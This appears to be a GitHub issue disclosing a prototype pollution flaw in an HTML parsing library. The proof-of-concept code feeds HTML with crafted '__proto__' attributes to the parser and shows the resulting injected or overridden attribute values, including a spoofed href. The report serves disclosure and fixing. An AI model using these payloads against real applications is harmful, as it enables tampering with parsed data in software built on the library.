Skip to content

Prototype pollution #129

Description

@stcn89
// `<div id="test" ><a href="https://www.google.com" __proto__="polluted=true>test</a></div>`;
const test = `<div id="test" __proto__="true><a href="https://www.google.com" __proto__="polluted=true">test</a></div>`;
const documentRoot = parse(test, {
  lowerCaseTagName: true, 
  comment: false,
  blockTextElements: {
    script: false,
    noscript: false,
    style: true,
  },
});
const childElement = documentRoot.querySelector(`#test`);
const rootElement = <HTMLElement>(<unknown>childElement.childNodes[0]);
// eslint-disable-next-line @typescript-eslint/ban-ts-comment
// @ts-ignore
console.log('attributes.polluted = ', rootElement.attributes.polluted);
// output : 
//         attributes.polluted =  true"

I`m don't think it can lead to a remote code execution, but I think that you should prevent this.

Other examples :

const test = `<div id="test" __proto__="true><a href="https://www.google.com" __proto__="toString()=global.process.exit)>test</a></div>`;
console.log('attributes = ', rootElement.attributes);
// attributes =  {
  href: 'https://www.google.com',
  toString: '',
  global: '',
  process: '',
  exit: ''
}
const test = `<div id="test" __proto__="true><a href="https://www.google.com" __proto__="__proto__.href=http://www.example.com/>test</a></div>`;
console.log('attributes = ', rootElement.attributes);
// attributes =  { href: 'http://www.example.com' }

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions